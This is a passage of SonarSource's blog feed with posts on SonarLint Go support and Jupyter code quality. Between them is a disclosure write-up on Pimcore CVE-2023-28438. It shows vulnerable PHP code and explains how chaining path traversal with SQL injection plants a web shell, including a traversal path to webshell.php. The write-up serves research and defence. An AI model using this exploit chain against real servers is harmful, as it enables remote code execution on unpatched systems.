href=&quot;https://www.sonarsource.com/blog/bad-code-destroys-developer-velocity/&quot;&gt;How Bad Code Destroys Developer Velocity&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/your-guide-to-clean-code-in-cloud-native-apps/&quot;&gt;Your Guide to Clean Code in Cloud Native Apps&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/level-up-coding-skills/&quot;&gt;Level Up Your Team’s Skills as They Code&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarLint supports Go analysis!]]></title><description><![CDATA[SonarLint supports Go analysis!]]></description><link>https://www.sonarsource.com/blog/sonarlint-supports-go-analysis</link><guid isPermaLink="false">21f0c520-ba9b-5610-a179-85a7afbe66ef</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Wed, 17 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;There is no doubting the popularity of the Go language. In fact, 20% of developers have used Go in the past 12 months, according to the &lt;a href=&quot;https://www.jetbrains.com/lp/devecosystem-2022/&quot;&gt;JetBrains 2022 survey&lt;/a&gt;, and it has just returned to the &lt;a href=&quot;https://www.tiobe.com/tiobe-index/&quot;&gt;Tiobe index&lt;/a&gt; top 10 of most popular programming languages. &lt;/p&gt;&lt;p&gt;And with the &lt;a href=&quot;https://survey.stackoverflow.co/2022/&quot;&gt;Stackoverflow developer survey 2022&lt;/a&gt; listing Go as the top choice for developers wanting to adopt a new language, the upward trend looks to continue.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So we are thrilled to announce that &lt;strong&gt;SonarLint&lt;/strong&gt;, our free and open-source IDE plugin now supports &lt;strong&gt;Go analysis in GoLand and VS Code.&lt;/strong&gt;&lt;/p&gt;&lt;h2&gt;So why is Go so popular?&lt;/h2&gt;&lt;p&gt;What is behind the rise in interest in this open-source language? Most commentators suggest that Golang is gaining popularity because of its speed and straightforwardness. Features like its runtime environment, garbage collection, and concurrency approach endear themselves to many programmers. Web developers have been attracted to it because it is fast, scalable, and easy to learn. DevOps professionals appreciate the decent ecosystem of Go libraries providing everything needed to build distributed systems, developer tools, and containerized applications.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar has offered the analysis of Go projects in SonarQube and SonarCloud since 2018. &lt;br/&gt;So it was no surprise that, given its aforementioned popularity, our valued Community voted &amp;quot;support of Go analysis in GoLand and VS Code&amp;quot; as the second and third highest requested features respectively for SonarLint.  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It makes total sense. Developers want to catch Go coding issues in their IDE, whilst they are creating, whilst things are fresh. The last thing they want is rework, and having to fix things retrospectively. It&amp;#x27;s better to create clean Go code in the IDE, that is, code fit for further development, and ready for production.&lt;/p&gt;&lt;h2&gt;So what should a Go developer expect when they use SonarLint in their IDE?&lt;/h2&gt;&lt;p&gt;Well, we believe a linter should be a help, not a hindrance. It should be humbly waiting in the wings until needed, not noisy and intrusive. So, you should expect SonarLint to quickly and contextually highlight issues in your Go code, during your creation process, not afterward. It will also offer you the option to learn why an issue is flagged, what is at stake if it is not fixed, and a clear and fast path to its resolution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, as new Go code is created, you should expect SonarLint to squiggle any issues as you type, just like a spell-checker for code. Meaning that all new code you write is clean, ensuring you put your best coding foot forward.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And for teams using SonarCloud or SonarQube a simple connection to SonarLint allows decisions regarding specific rule activation/deactivation to be instantly synchronized to the IDE, empowering the developer to focus on what matters.&lt;/p&gt;&lt;h2&gt;Go Go Go&lt;/h2&gt;&lt;p&gt;So with one out of every two developers planning to adopt a new language, and with Go reported as the top choice, we encourage you to try &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; and its solution for Go analysis today. This release is just our first step, and we plan to add more rules during 2023. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Have an idea of what we should add next? Wondering what is currently the Community&amp;#x27;s top requested feature for SonarLint? Follow the link to our &lt;a href=&quot;https://portal.productboard.com/sonarsource/4-sonarlint&quot;&gt;Product Board&lt;/a&gt; to find out, and add your vote to what you want to see next.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additional Links:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://youtube.com/shorts/k81LIeSD9Y0?feature=share&quot;&gt;Video announcement&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Sonar Community announcement - &lt;a href=&quot;https://community.sonarsource.com/t/sonarlint-for-vs-code-3-16-analysis-of-python-in-jupyter-notebooks-and-go-language/87768?_gl=1*hj07dm*_ga*MTI3ODA4NDE0My4xNjQzNzMwMTMx*_ga_9JZ0GZ5TC6*MTY4Mzc4NzI2NS42MzIuMS4xNjgzNzkyODQxLjU4LjAuMA..&quot;&gt;support for Go analysis in VS Code&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Sonar Community announcement - &lt;a href=&quot;https://community.sonarsource.com/t/sonarlint-for-intellij-8-1-support-go-analysis-in-goland/87668?_gl=1*1d1roh0*_ga*MTI3ODA4NDE0My4xNjQzNzMwMTMx*_ga_9JZ0GZ5TC6*MTY4Mzc4NzI2NS42MzIuMS4xNjgzNzkyOTU3LjU0LjAuMA..&quot;&gt;support for Go analysis in GoLand&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Pimcore: One click, two security vulnerabilities]]></title><description><![CDATA[We discovered two vulnerabilities in Pimcore that could be chained together in one GET request to achieve RCE.]]></description><link>https://www.sonarsource.com/blog/pimcore-one-click-two-security-vulnerabilities</link><guid isPermaLink="false">545592ee-0163-58a2-a678-3b32ffa548bb</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 15 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Pimcore Platform provides software for central management of corporate data. With over 100,000 clients across 56 countries, including some major vendors, it has become a trusted choice for businesses worldwide. Available in both an Enterprise subscription as well as an Open Source Community Edition with a growing community of developers and users.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We make a consistent effort to enhance the technology powering our Clean Code solution by frequently scanning open-source projects and assessing the outcomes. In the case of Pimcore, our engine reported an interesting limited directory traversal vulnerability. After analyzing the finding we found an additional SQL Injection vulnerability in the same endpoint. Leveraging those two vulnerabilities, an admin that clicks on an attacker’s crafted link will execute arbitrary code on the server.&lt;/p&gt;&lt;h2&gt;Pimcore Vulnerabilities Impact&lt;/h2&gt;&lt;p&gt;Pimcore versions prior to 10.5.19 are susceptible to both a&lt;strong&gt; path traversal&lt;/strong&gt; and an&lt;strong&gt; SQL injection&lt;/strong&gt; vulnerability in the &lt;code&gt;create-csv&lt;/code&gt; endpoint tracked as CVE-2023-28438. The two vulnerabilities can be exploited with a single GET request. Because of this, an attacker can create a malicious link, which can cause the &lt;strong&gt;execution of arbitrary code&lt;/strong&gt; when accessed by an admin. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/7ODgHHyhuqg&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we will discuss the technical details of the vulnerabilities and explain how an attacker could combine them to create a one-click exploit that will deploy a web shell on the server.&lt;/p&gt;&lt;h3&gt;Limited Arbitrary File Write and Path Traversal&lt;/h3&gt;&lt;p&gt;Scanning Pimcore with SonarCloud uncovered an interesting path traversal issue caused by passing user-controlled data as the filename parameter of &lt;code&gt;fopen&lt;/code&gt;. You can inspect the finding directly on SonarCloud:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://sonarcloud.io/project/issues?resolved=false&amp;types=VULNERABILITY&amp;id=SonarSourceResearch_pimcore-blogpost&amp;open=AYbwBqEGzBX2hF8LIsrC&quot;&gt;&lt;strong&gt;Try it by yourself on SonarCloud!&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The underlined feature is in the admin panel of Pimcore which enables the display of statistical reports on various aspects of the website. An admin can create custom reports, view them directly from the panel, or download the data in CSV format:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/983bd127-5922-42c5-8a5f-84980b063512/image1.png&quot; /&gt;&lt;p&gt;Upon further inspection of the vulnerable function &lt;code&gt;createCsvAction&lt;/code&gt;, we found out that the user-controlled data is passed through the &lt;code&gt;admin/reports/custom-report/create-csv&lt;/code&gt; endpoint’s &lt;code&gt;exportFile&lt;/code&gt; parameter. Although this endpoint is only accessible by admins, it is a GET request endpoint with no CSRF protection, thus manipulating an admin to click on a link is enough.&lt;/p&gt;&lt;p&gt;The value of the &lt;code&gt;exportFile&lt;/code&gt; parameter is appended to the web root path without prior sanitization, allowing an attacker to control the extension as well as traverse back in the folder path. &lt;/p&gt;&lt;p&gt;On continued inspection of the code, we can see that the user-controlled path will end up opening a file in “append” mode. Writing the &lt;code&gt;getData&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function’s output to it using &lt;code&gt;fputcsv&lt;/code&gt;: &lt;br/&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/blob/928a964c13a5c9992cff4b5abdb25847529604d3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L422 &quot;&gt;&lt;sub&gt;File in Github&lt;/sub&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public function createCsvAction(Request $request)
   {
       //...
       $filters = $request-&gt;get(&apos;filter&apos;) ? json_decode(urldecode($request-&gt;get(&apos;filter&apos;)), true) : null;
       $drillDownFilters = $request-&gt;get(&apos;drillDownFilters&apos;, null);
       //...
       $result = $adapter-&gt;getData($filters, $sort, $dir, $offset * $limit, $limit, $fields, $drillDownFilters);


       if (!($exportFile = $request-&gt;get(&apos;exportFile&apos;))) {
           $exportFile = PIMCORE_SYSTEM_TEMP_DIRECTORY . &apos;/report-export-&apos; . uniqid() . &apos;.csv&apos;;
           @unlink($exportFile);
       } else {
           $exportFile = PIMCORE_SYSTEM_TEMP_DIRECTORY.&apos;/&apos;.$exportFile;
       }


       $fp = fopen($exportFile, &apos;a&apos;);


       if ($includeHeaders) {
           fputcsv($fp, $fields, &apos;;&apos;);
       }


       foreach ($result[&apos;data&apos;] as $row) {
           $row = Service::escapeCsvRecord($row);
           fputcsv($fp, array_values($row), &apos;;&apos;);
       }


       //...
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Up until now, an attacker can control the CSV output file path, name, and extension. Although this allows the creation of PHP files on the server, an attacker will need to control the file content as well in order to execute arbitrary code. Here enters the second vulnerability, an SQL Injection in the &lt;code&gt;getData&lt;/code&gt; function.&lt;/p&gt;&lt;h3&gt;1st SQL Injection sink&lt;/h3&gt;&lt;p&gt;Looking at the &lt;code&gt;createCsvAction&lt;/code&gt;&lt;em&gt; &lt;/em&gt;function from earlier, the inputs an attacker can control are &lt;code&gt;$drillDownFilters&lt;/code&gt; and &lt;code&gt;$filters&lt;/code&gt;, which are passed on to &lt;code&gt;getBaseQuery&lt;/code&gt;:&lt;br/&gt;&lt;sub&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/blob/v11.0.0-ALPHA5/bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php#L29&quot;&gt;File in Github&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; public function getData($filters, $sort, $dir, $offset, $limit, $fields = null, $drillDownFilters = null)
   {
       $db = Db::get();


       $baseQuery = $this-&gt;getBaseQuery($filters, $fields, false, $drillDownFilters);
       //...
       if ($baseQuery) {
           $total = $db-&gt;fetchOne($baseQuery[&apos;count&apos;]);
           //...
           $sql = $baseQuery[&apos;data&apos;] . $order;
           //...
           $data = $db-&gt;fetchAllAssociative($sql);
      //...
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Two SQL queries are issued with the result of the &lt;code&gt;getBaseQuery&lt;/code&gt; function:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;code&gt;$baseQuery[‘count’]&lt;/code&gt;: a query that returns the number of results using &lt;code&gt;COUNT(*) &lt;/code&gt;&lt;br/&gt;will be used in &lt;code&gt;$db-&amp;gt;fetchOne.&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;$baseQuery[‘data’]&lt;/code&gt;: will end up in &lt;code&gt;$db-&amp;gt;fetchAllAssociative&lt;/code&gt; and fetch the results.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is how the &lt;code&gt;getBaseQuery&lt;/code&gt; function that prepares those two queries looks like:&lt;br/&gt;&lt;a href=&quot;https://github.com/pimcore/pimcore/blob/v11.0.0-ALPHA5/bundles/CustomReportsBundle/src/Tool/Adapter/Sql.php#L150 &quot;&gt;&lt;sub&gt;File in Github&lt;/sub&gt;&lt;/a&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function getBaseQuery($filters, $fields, $ignoreSelectAndGroupBy = false, $drillDownFilters = null, $selectField = null)
   {
	//...
       $sql = $this-&gt;buildQueryString($this-&gt;config, $ignoreSelectAndGroupBy, $drillDownFilters, $selectField);
       //...
               foreach ($filters as $filter) {
                   $operator = $filter[&apos;operator&apos;];
                   //..
                   switch ($operator) {
			//..
                       case &apos;=&apos;:
                           $fields[] = $filter[&apos;property&apos;];
                           $condition[] = $db-&gt;quoteIdentifier($filter[&apos;property&apos;]) . &apos; = &apos; . $db-&gt;quote($value);
    //...
           $total = &apos;SELECT COUNT(*) FROM (&apos; . $sql . &apos;) AS somerandxyz WHERE &apos; . $condition;
           if ($fields &amp;&amp; !$extractAllFields) {
               $data = &apos;SELECT `&apos; . implode(&apos;`,`&apos;, $fields) . &apos;` FROM (&apos; . $sql . &apos;) AS somerandxyz WHERE &apos; . $condition;
           }
//...
       return [
           &apos;data&apos; =&gt; $data,
           &apos;count&apos; =&gt; $total,
       ];
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;At first glance, we noticed an injection at the &lt;code&gt;$data&lt;/code&gt; parameter, the SQL query&amp;#x27;s &lt;code&gt;SELECT&lt;/code&gt; fields are not sanitized. The &lt;code&gt;implode(&amp;#x27;`,`&amp;#x27;, $fields)&lt;/code&gt; can simply be escaped with backticks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to control the &lt;code&gt;$fields&lt;/code&gt; parameter we need to set the &lt;code&gt;$filters[&amp;#x27;operator&amp;#x27;]&lt;/code&gt; attribute accordingly (in the code snippet only &amp;#x27;=&amp;#x27; is shown but there are other options) and then the &lt;code&gt;&amp;#x27;property&amp;#x27;&lt;/code&gt; attribute will be appended to it. Immediately after a &lt;code&gt;$condition&lt;/code&gt; string will be created. So in order to control the &lt;code&gt;$fields&lt;/code&gt; value the &lt;code&gt;$condition&lt;/code&gt; string will be present. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;However, while it seems like there is a simple SQL injection at &lt;code&gt;$data&lt;/code&gt;, the &lt;code&gt;$condition&lt;/code&gt; variable is concatenated to the end of both queries (&lt;code&gt;count&lt;/code&gt; and &lt;code&gt;data&lt;/code&gt;). And due to the quotation escaping (done using the functions &lt;code&gt;$db-&amp;gt;quoteIdentifier&lt;/code&gt; and &lt;code&gt;$db-&amp;gt;quote&lt;/code&gt;), any field containing a backtick character (`) will be doubled and thus making the query&amp;#x27;s syntax invalid.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We can of course comment out the rest of the query (using &lt;code&gt;--&lt;/code&gt; or &lt;code&gt;;&lt;/code&gt;) to avoid the syntax breaking &lt;code&gt;$condition&lt;/code&gt;. But the &lt;code&gt;$total&lt;/code&gt; query also has the broken &lt;code&gt;$condition&lt;/code&gt;, and later be used in the line &lt;code&gt;$db-&amp;gt;fetchOne($baseQuery[&amp;#x27;count&amp;#x27;])&lt;/code&gt; before fetching with the SQL Injected &lt;code&gt;data&lt;/code&gt; query, thus raising an exception and not executing the SQL Injection.&lt;/p&gt;&lt;h3&gt;2nd SQL Injection sink&lt;/h3&gt;&lt;p&gt;So we have an SQL Injection, but exploiting it will always cause a syntax error. Is there any other way to somehow ignore the &lt;code&gt;$condition&lt;/code&gt; string?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;Some of you probably already noticed that before every &lt;code&gt;$condition&lt;/code&gt; there is the &lt;code&gt;$sql&lt;/code&gt; parameter, which is returned from &lt;code&gt;$this-&amp;gt;getBaseQuery(...)&lt;/code&gt;. If there is an SQL Injection in that function as well we can end the query before the syntax error.&lt;/p&gt;&lt;pre&gt;&lt;code&gt;protected function buildQueryString($config, $ignoreSelectAndGroupBy = false, $drillDownFilters = null, $selectField = null)
   {
       //...
       if ($drillDownFilters) {
           $havingParts = [];
           $db = Db::get();
           foreach ($drillDownFilters as $field =&gt; $value) {
               if ($value !== &apos;&apos; &amp;&amp; $value !== null) {
                   $havingParts[] = &quot;$field = &quot; . $db-&gt;quote($value);
               }
           }


           if ($havingParts) {
               $sql .= &apos; HAVING &apos; . implode(&apos; AND &apos;, $havingParts);
           }
       }


       return $sql;
   }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;Auditing the &lt;code&gt;buildQueryString&lt;/code&gt; function we found another SQL Injection sink but now using the &lt;code&gt;$drillDownFilters&lt;/code&gt; parameter. Though the value is being quoted, the field isn&amp;#x27;t. An attacker can use this sync to comment out the broken &lt;code&gt;$condition&lt;/code&gt; and execute arbitrary SQL queries.&lt;/p&gt;&lt;h3&gt;Exploitation - connecting everything together&lt;/h3&gt;&lt;p&gt;So an attacker can control the output file and inject SQL to the function that fetches results which will end up in that file. Having the export file path pointing to a PHP file in the web root is straightforward using: &lt;/p&gt;&lt;pre&gt;&lt;code&gt;../../../../../../../../var/www/html/public/webshell.php&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A PHP file will execute also if there is the PHP declaration randomly in the file, meaning a file doesn&amp;#x27;t have to start with &lt;code&gt;&amp;lt;?php&lt;/code&gt;, so we don&amp;#x27;t have to worry about that. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But how can an attacker exploit the SQL Injection to result in arbitrary content?&lt;/p&gt;&lt;p&gt;Having multiple queries, one that inserts custom data and another that fetches it is possible but makes the exploit more complicated. Going back to our SQL query, the injection is in the SELECT fields, so we can use the &lt;a href=&quot;https://www.w3schools.com/sql/sql_case.asp&quot;&gt;CASE expression&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Lastly, there are two parameters needed for the get request: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;headers=true&lt;/code&gt; is to output the field names to the CSV&lt;/li&gt;&lt;li&gt;&lt;code&gt;name=Quality_Attributes&lt;/code&gt; is a default name of a report from the demo app (in order to execute the vulnerable function the name has to be a valid report)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Combining those 2 vulnerabilities from 3 sinks in 1 GET request an attacker could create a malicious link that will deploy a web shell on the server.&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;Both vulnerabilities were fixed in Pimcore version 10.5.19:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The SQL Injection was &lt;a href=&quot;https://github.com/pimcore/pimcore/commit/d1abadb181c88ebaa4bce1916f9077469d4ea2bc&quot;&gt;fixed&lt;/a&gt; by adding &lt;code&gt;db-&amp;gt;quoteIdentifier(...)&lt;/code&gt; in the field name as well.&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;$havingParts[] = ($db-&gt;quoteIdentifier($field) .&quot; = &quot; . $db-&gt;quote($value));&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;The path traversal was &lt;a href=&quot;https://github.com/pimcore/pimcore/commit/7f788fa44bc18bc1c9182c25e26b770a1d30b62f&quot;&gt;fixed&lt;/a&gt; by:&lt;ul&gt;&lt;li&gt;Verifying that the extension is “.csv”&lt;/li&gt;&lt;li&gt;Normalizing the path to prevent traversing &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;$exportFileName = basename($exportFileName);
if(!str_ends_with($exportFileName, &quot;.csv&quot;)) {
      throw new InvalidArgumentException($exportFileName . &quot; is not a valid csv file.&quot;);
}
return PIMCORE_SYSTEM_TEMP_DIRECTORY . &apos;/&apos; . $exportFileName;&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;&lt;br/&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-02-20&lt;/td&gt;&lt;td&gt;We reported all issues to Vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-15&lt;/td&gt;&lt;td&gt;Vendor released patch version 10.5.19&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-22&lt;/td&gt;&lt;td&gt;CVE-2023-28438 and &lt;a href=&quot;https://github.com/pimcore/pimcore/security/advisories/GHSA-vf7q-g2pv-jxvx&quot;&gt;security advisory&lt;/a&gt; released&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;&lt;br/&gt;Summary&lt;/h2&gt;&lt;p&gt;The focus of our blog post was on our success in identifying and utilizing two distinct vulnerabilities with a single GET request, ultimately leading to code execution. This serves as a powerful demonstration of our product&amp;#x27;s capability to detect security flaws, and we also highlighted the step-by-step process we followed from analyzing the results to creating a weaponized exploit.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the maintainers again for the quick response and for handling the situation professionally.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/odoo-get-your-content-type-right-or-else/&quot;&gt;Odoo: Get your Content Type right, or else!&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/pretalx-vulnerabilities-how-to-get-accepted-at-every-conference/&quot;&gt;Pretalx Vulnerabilities: How to get accepted at every conference&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms/&quot;&gt;It’s a (SNMP) Trap: Gaining Code Execution on LibreNMS&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/cacti-unauthenticated-remote-code-execution/&quot;&gt;Cacti: Unauthenticated Remote Code Execution&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Is Clean Code the solution to Jupyter notebook code quality?]]></title><description><![CDATA[Is Clean Code the solution to Jupyter notebook code quality?]]></description><link>https://www.sonarsource.com/blog/is-clean-code-the-solution-to-jupyter-notebook-code-quality</link><guid isPermaLink="false">7ead5049-e4fd-5634-b945-d0b23f80e375</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Wed, 10 May 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&amp;quot;Code quality is by far the biggest problem with Jupyter notebooks today.&amp;quot; That&amp;#x27;s the statement we at Sonar most frequently encounter when we engage with Data Scientists to understand what keeps them awake at night. But why, and is there a solution? Do Jupyter notebooks even need linting? Let&amp;#x27;s dig in.&lt;/p&gt;&lt;h2&gt;So what&amp;#x27;s the issue?&lt;/h2&gt;&lt;p&gt;The rapid growth of big data has driven the demand for quality data analysis, and with it, the rise of Data Science as a critical business function. Data Scientists, often with limited coding experience, turn to prototyping tools such as Jupyter notebooks to model, test, and express ideas quickly, and to deliver valuable insights and intelligence to business leaders. As the sheer volume of data continues to grow, along with the value that businesses place upon the insights Data Scientists can extract, the pressure for these data insights to arrive quickly increases. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, the tension between speed and code quality is a persistent issue in the world of Data Science. The need to move fast and iterate quickly may come at the cost of the quality of that code. And in the case of Jupyter notebooks, the quality of the code is often cited as the biggest challenge. With a lack of linting tools for Jupyter notebooks to ensure the quality of code without adversely impacting the flow and speed of the Data Scientist, the tension increases. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Do developers already have the answer?&lt;/h2&gt;&lt;p&gt;As &lt;a href=&quot;https://en.wiktionary.org/wiki/there_is_nothing_new_under_the_sun&quot;&gt;the saying from Ecclesiastes&lt;/a&gt; states there is nothing new under the sun. If we look to the world of the traditional developer there are methodologies and tools which have been successfully implemented in traditional coding environments which have addressed the issue.  They have resolved the tension between the quality of code and the need for speed. Yes, we are saying that Data Scientists might learn from developers 🙂&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The key has been to empower developers to own their code quality, and to catch and correct errors &lt;em&gt;during&lt;/em&gt; the creation process, not as an afterthought. This is achieved through a coding companion that sits unobtrusively in the wings during the code creation process until called upon. When needed, it alerts the developer with pertinent information that is contextual, allowing them to quickly decide on the course of action required, and without breaking the creative flow. This is a proven methodology and tooling, that traditional developers have embraced to ensure clean outputs, in the moment, versus having to circle back later. That is, to deliver clean code the first time, code that is both fit for development and fit for production. So why not apply this same tooling and methodology to Jupyter notebooks and Data Scientists?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But Data Scientists are not traditional developers. The needs of a Data Scientist are different. We know that Data Scientists are using notebooks as a tool by which to model, test, and express ideas. Coding is just a necessary requirement to achieve this, it is not the day job. And it&amp;#x27;s ok to not be a coder/developer. Prototyping should ideally be a fast, creative process, unhindered by the coding that is required. But at the same time, the results need to be understandable, and the ideas easily absorbed and not misinterpreted. The need for Clean Code remains.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;What is this magic?&lt;/h2&gt;&lt;p&gt;But what is this tooling and how would it practically apply to Jupyter notebooks? Traditional developers typically use a linter in their IDE to help them find issues, but the opportunity for Data Scientists using Jupyter notebooks goes further, and the needs are different. More than just a linter, Sonar envisions a solution that actually works alongside the Data Scientist to offer a coding companion, empowering creative flow with clean outputs. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Recognizing that the notebook user may not be an experienced coder, the solution should flag any issues that would negatively impact the quality of the code and ultimately the integrity, and portability of the notebook.  It would also offer educational guidance, to be accessed if needed, to enable any issues to be easily corrected, without interrupting the flow. Less of a linter, in the traditional coding sense, and more of a companion that offers to explain why an issue has been flagged, what is at stake, and how to fix it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We at Sonar are dipping our toe in the water with a solution that does just that. A solution that is low effort, with minimal disruption to flow, and empowering Data Scientists to create Jupyter notebooks with quality code. Tackling the biggest perceived issue with notebooks is something we feel ready to do. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Leveraging our experience empowering traditional developers to create Clean Code, we have started humbly with a solution for Jupyter notebooks that instantly flags any issues the moment they are created while offering optional, easy remediation options. After all, Clean Code is also for Data Scientists!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;But why bother? What would be the actual benefits of Clean Code for a Data Scientist?&lt;/h2&gt;&lt;p&gt;We see 3 key benefits:&lt;/p&gt;&lt;h3&gt;&lt;em&gt;Be understood&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;When you open a Jupyter notebook and start the creative process you want the end result to be clear, and understandable. But the reality is that a notebook is a space for modeling, trying different things, and moving fast. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;After a sustained period of data sciencing it is normal to expect pages of code that may have been copy-pasted throughout the notebook. Abbreviations may have been used, there might be variables that don&amp;#x27;t exist anymore, and the execution count may be in the thousands.  In other words, the end result can be messy.  The resulting code is perhaps unclean and this adds to the complexity, making the notebook and the results themselves difficult to understand, let alone communicate. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The bottom line is that you, through your untidy notebook, are less likely to be understood. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now imagine a notebook that has Clean Code, from the get-go.  It has been created clean, with the aid of the companion sitting quietly in the wings until it spots an issue. No need to go back over the code and remediate. No lost time, no break in the flow. Just a notebook that is easy to understand. Helping you be understood.&lt;/p&gt;&lt;h3&gt;&lt;em&gt;It&amp;#x27;s easy to jump back in and develop further or share with confidence&lt;/em&gt;&lt;/h3&gt;&lt;p&gt;Just as Jupyter notebooks are spaces where 